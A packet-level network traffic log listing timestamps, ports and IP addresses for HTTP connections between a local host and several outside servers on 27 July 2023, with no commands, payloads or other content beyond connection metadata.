Jul 27, 2023 21:53:04.865278959 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865278959 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865344048 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865344048 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865592957 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865622997 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865652084 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865680933 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865709066 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.865783930 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865783930 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.865783930 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.866529942 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.866566896 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.866595030 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.866621017 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.866633892 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.866648912 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.866694927 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.866694927 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.867424011 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.867455006 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.867480993 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.867505074 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.867531061 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868103027 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868103027 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868313074 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868351936 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868377924 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868408918 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868427038 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868427038 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868438959 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.868484974 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868484974 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.868594885 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869168043 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.869204998 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.869235039 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.869240046 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869265079 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.869293928 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.869297028 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869350910 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869350910 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869447947 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.869999886 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870035887 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870064020 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870104074 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870126963 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.870136976 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870318890 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.870318890 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.870877028 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870910883 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870938063 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870956898 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.870968103 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.870997906 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.871020079 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.871020079 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.871020079 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.871072054 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.871721029 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.871752024 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.871822119 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.871822119 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.872102022 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.872133970 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.872163057 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.872193098 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.872222900 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.872288942 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.872288942 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.872288942 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.872288942 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.873022079 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873053074 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873081923 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873111010 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873138905 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873379946 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.873460054 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.873498917 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.873547077 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.873584986 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.873857021 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873879910 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873899937 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873919010 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873938084 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.873965025 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874010086 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874186993 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874643087 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.874680042 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.874708891 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.874722004 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874737024 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.874747038 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874762058 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.874821901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874821901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.874913931 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.875528097 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875549078 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875570059 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875591040 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875610113 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875631094 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.875716925 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.875716925 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.875716925 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.876471996 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876493931 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876513958 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876534939 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876555920 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876574039 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.876588106 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.876640081 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.876749039 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.877563000 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877585888 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877614021 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877633095 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877643108 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.877643108 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.877648115 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877661943 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.877831936 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.878298044 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878314018 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878355980 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878370047 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878388882 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878408909 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.878479004 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.878479004 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.879098892 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879120111 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879141092 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879159927 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879182100 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879199028 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.879201889 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879520893 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.879520893 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.879960060 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.879981041 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880002022 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880022049 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880042076 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880085945 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880085945 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880085945 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880100012 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880145073 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880295038 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880872965 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880892992 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880913019 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880933046 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880944014 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.880951881 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.880970001 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.880971909 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.881038904 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.881038904 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.881730080 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.881752014 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.881772041 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.881828070 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.881828070 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.881828070 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.882142067 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882188082 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882214069 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882236958 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882263899 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882287025 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.882335901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.882335901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.882335901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.882858992 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.882886887 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.882945061 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.882945061 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.882987976 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883008003 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883048058 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883074045 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883094072 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883115053 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883136988 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883200884 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883205891 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.883205891 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.883205891 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.883205891 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.883224010 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883635998 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.883960962 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.883994102 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884028912 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884054899 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884079933 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884141922 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884176970 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884205103 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884244919 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884298086 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.884298086 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.884298086 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.884298086 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.884850025 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884881020 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884891033 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884907961 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884929895 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884951115 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884964943 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884965897 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.884979963 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.884985924 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885000944 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885020018 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885099888 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885099888 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885099888 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885854006 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885878086 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885902882 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885904074 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885931015 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885957956 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885958910 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.885957956 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885977030 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.885987043 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886014938 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886044979 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886056900 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.886069059 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.886075974 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886097908 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886147022 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.886147022 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.886766911 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886866093 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886871099 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.886894941 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886919975 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886940956 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886960983 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.886981964 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.887001991 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.887008905 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.887008905 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.887008905 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.887022972 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.887037992 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.887042999 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:04.887075901 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.887134075 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:04.891498089 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:04.892039061 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.892061949 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.892134905 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.892169952 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.901349068 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.901385069 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.901590109 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.910602093 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.910645008 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.910684109 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.910721064 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.918313980 CEST	80	49904	135.181.73.98	192.168.2.4
Jul 27, 2023 21:53:04.918421984 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:04.919738054 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.919785976 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.919970036 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.929080009 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.929121971 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.929272890 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.929297924 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.982482910 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.982516050 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.982687950 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.987032890 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.987063885 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.987226963 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.987273932 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:04.995467901 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.995497942 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:04.995668888 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:05.003535986 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.003568888 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.005666018 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:05.011609077 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.011639118 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.011902094 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:05.019473076 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.019509077 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:05.021174908 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:05.037216902 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:05.038204908 CEST	49905	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:53:05.038562059 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:05.038626909 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:05.080598116 CEST	80	49892	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:05.080713034 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:05.172137976 CEST	80	49896	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:05.172255039 CEST	49896	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:05.322222948 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:05.459162951 CEST	80	49846	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:05.459326982 CEST	49846	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:05.491636038 CEST	80	49899	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:05.491770983 CEST	49899	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:05.507488966 CEST	49906	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:05.562272072 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.595175982 CEST	80	49906	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:05.595298052 CEST	49906	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:05.595967054 CEST	49906	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:05.596498013 CEST	80	49907	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:05.597135067 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.607372046 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:05.608508110 CEST	80	49900	162.43.120.128	192.168.2.4
Jul 27, 2023 21:53:05.608757019 CEST	49900	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:53:05.635560989 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.669840097 CEST	80	49907	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:05.674664974 CEST	80	49907	81.2.194.241	192.168.2.4
